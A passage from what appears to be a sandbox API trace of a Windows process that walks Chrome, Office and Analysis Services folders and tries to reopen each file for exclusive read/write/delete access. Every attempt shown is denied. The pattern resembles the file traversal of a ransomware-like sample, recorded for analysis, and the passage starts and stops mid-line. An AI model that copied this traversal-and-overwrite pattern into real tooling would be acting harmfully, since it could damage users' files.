(x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\da.pak")) returned 0x20 [0145.103] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak", dwFileAttributes=0x20) returned 0 [0145.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\da.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.103] GetLastError () returned 0x5 [0145.103] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak", dwFileAttributes=0x20) returned 0 [0145.103] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x933fe8) returned 1 Thread: id = 2252 os_tid = 0xfb8 [0143.989] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\de.pak")) returned 0x20 [0145.104] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\de.pak", dwFileAttributes=0x20) returned 0 [0145.104] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\de.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.104] GetLastError () returned 0x5 [0145.105] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\de.pak", dwFileAttributes=0x20) returned 0 [0145.105] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934090) returned 1 Thread: id = 2253 os_tid = 0xfbc [0143.990] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\el.pak")) returned 0x20 [0145.105] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak", dwFileAttributes=0x20) returned 0 [0145.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\el.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.106] GetLastError () returned 0x5 [0145.106] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak", dwFileAttributes=0x20) returned 0 [0145.106] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934138) returned 1 Thread: id = 2254 os_tid = 0xfc0 [0143.990] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-gb.pak")) returned 0x20 [0145.107] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak", dwFileAttributes=0x20) returned 0 [0145.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-gb.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.107] GetLastError () returned 0x5 [0145.107] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak", dwFileAttributes=0x20) returned 0 [0145.107] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97ba18) returned 1 Thread: id = 2255 os_tid = 0xfc4 [0143.991] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-us.pak")) returned 0x20 [0145.108] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak", dwFileAttributes=0x20) returned 0 [0145.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-us.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.109] GetLastError () returned 0x5 [0145.109] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak", dwFileAttributes=0x20) returned 0 [0145.110] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97bac8) returned 1 Thread: id = 2256 os_tid = 0xfc8 [0143.992] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es-419.pak")) returned 0x20 [0145.110] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak", dwFileAttributes=0x20) returned 0 [0145.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es-419.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.111] GetLastError () returned 0x5 [0145.111] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak", dwFileAttributes=0x20) returned 0 [0145.111] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97bb78) returned 1 Thread: id = 2257 os_tid = 0xfcc [0143.993] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es.pak")) returned 0x20 [0145.111] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak", dwFileAttributes=0x20) returned 0 [0145.112] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.112] GetLastError () returned 0x5 [0145.112] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak", dwFileAttributes=0x20) returned 0 [0145.112] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9341e0) returned 1 Thread: id = 2258 os_tid = 0xfd0 [0143.993] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\et.pak")) returned 0x20 [0145.113] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak", dwFileAttributes=0x20) returned 0 [0145.113] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\et.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.113] GetLastError () returned 0x5 [0145.113] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak", dwFileAttributes=0x20) returned 0 [0145.113] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934288) returned 1 Thread: id = 2259 os_tid = 0xfd4 [0143.994] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fa.pak")) returned 0x20 [0145.114] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak", dwFileAttributes=0x20) returned 0 [0145.114] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fa.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.114] GetLastError () returned 0x5 [0145.114] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak", dwFileAttributes=0x20) returned 0 [0145.114] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934330) returned 1 Thread: id = 2260 os_tid = 0xfd8 [0143.995] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fi.pak")) returned 0x20 [0145.115] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak", dwFileAttributes=0x20) returned 0 [0145.115] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fi.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.115] GetLastError () returned 0x5 [0145.115] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak", dwFileAttributes=0x20) returned 0 [0145.115] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9343d8) returned 1 Thread: id = 2261 os_tid = 0xfdc [0143.996] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fil.pak")) returned 0x20 [0145.116] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak", dwFileAttributes=0x20) returned 0 [0145.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fil.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.116] GetLastError () returned 0x5 [0145.116] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak", dwFileAttributes=0x20) returned 0 [0145.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934480) returned 1 Thread: id = 2271 os_tid = 0x1008 [0144.694] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\owshlp10.chm")) returned 0x20 [0145.125] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM", dwFileAttributes=0x20) returned 0 [0145.126] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\owshlp10.chm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.126] GetLastError () returned 0x5 [0145.126] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM", dwFileAttributes=0x20) returned 0 [0145.126] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7e68) returned 1 Thread: id = 2272 os_tid = 0x100c [0144.696] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\vbaows10.chm")) returned 0x20 [0145.124] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM", dwFileAttributes=0x20) returned 0 [0145.124] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\vbaows10.chm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.124] GetLastError () returned 0x5 [0145.124] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM", dwFileAttributes=0x20) returned 0 [0145.125] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6758) returned 1 Thread: id = 2273 os_tid = 0x1010 [0144.696] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9ad5c8 [0144.696] wcscpy (in: _Dest=0x9ad5c8, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0144.696] wcscat (in: _Dest=0x9ad5c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0144.696] wcscat (in: _Dest=0x9ad5c8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*" [0144.696] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x966de0 [0144.696] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x966de0 | out: lpFindFileData=0x966de0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da4d0 [0145.545] wcscmp (_String1=".", _String2=".") returned 0 [0145.545] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x966de0 | out: lpFindFileData=0x966de0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.545] wcscmp (_String1="..", _String2=".") returned 1 [0145.545] wcscmp (_String1="..", _String2="..") returned 0 [0145.545] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x966de0 | out: lpFindFileData=0x966de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0145.545] wcscmp (_String1="as80.xsl", _String2=".") returned 1 [0145.545] wcscmp (_String1="as80.xsl", _String2="..") returned 1 [0145.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa6) returned 0x97b758 [0145.545] wcscpy (in: _Dest=0x97b758, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0145.545] wcscat (in: _Dest=0x97b758, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0145.545] wcscat (in: _Dest=0x97b758, _Source="as80.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" [0151.397] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 0x20 [0151.417] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl", dwFileAttributes=0x20) returned 0 [0151.417] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.417] GetLastError () returned 0x5 [0151.417] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl", dwFileAttributes=0x20) returned 0 [0151.417] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b758) returned 1 [0151.417] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x966de0 | out: lpFindFileData=0x966de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0151.417] wcscmp (_String1="as90.xsl", _String2=".") returned 1 [0151.417] wcscmp (_String1="as90.xsl", _String2="..") returned 1 [0151.417] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa6) returned 0x97b758 [0151.417] wcscpy (in: _Dest=0x97b758, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0151.417] wcscat (in: _Dest=0x97b758, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0151.417] wcscat (in: _Dest=0x97b758, _Source="as90.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" [0151.417] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0151.418] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl", dwFileAttributes=0x20) returned 0 [0151.418] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.418] GetLastError () returned 0x5 [0151.418] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl", dwFileAttributes=0x20) returned 0 [0151.418] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b758) returned 1 [0151.418] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x966de0 | out: lpFindFileData=0x966de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0151.418] wcscmp (_String1="Informix.xsl", _String2=".") returned 1 [0151.418] wcscmp (_String1="Informix.xsl", _String2="..") returned 1 [0151.418] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xae) returned 0x8f4210 [0151.418] wcscpy (in: _Dest=0x8f4210, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0151.418] wcscat (in: _Dest=0x8f4210, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0151.418] wcscat (in: _Dest=0x8f4210, _Source="Informix.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" [0151.418] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0151.419] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl", dwFileAttributes=0x20) returned 0 [0151.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.419] GetLastError () returned 0x5 [0151.419] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl", dwFileAttributes=0x20) returned 0 [0151.419] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4210) returned 1 [0151.419] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x966de0 | out: lpFindFileData=0x966de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0151.419] wcscmp (_String1="msjet.xsl", _String2=".") returned 1 [0151.419] wcscmp (_String1="msjet.xsl", _String2="..") returned 1 [0151.419] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa8) returned 0x97b758 [0151.419] wcscpy (in: _Dest=0x97b758, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0151.419] wcscat (in: _Dest=0x97b758, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0151.419] wcscat (in: _Dest=0x97b758, _Source="msjet.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" [0151.419] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0151.420] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl", dwFileAttributes=0x20) returned 0 [0151.420] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS 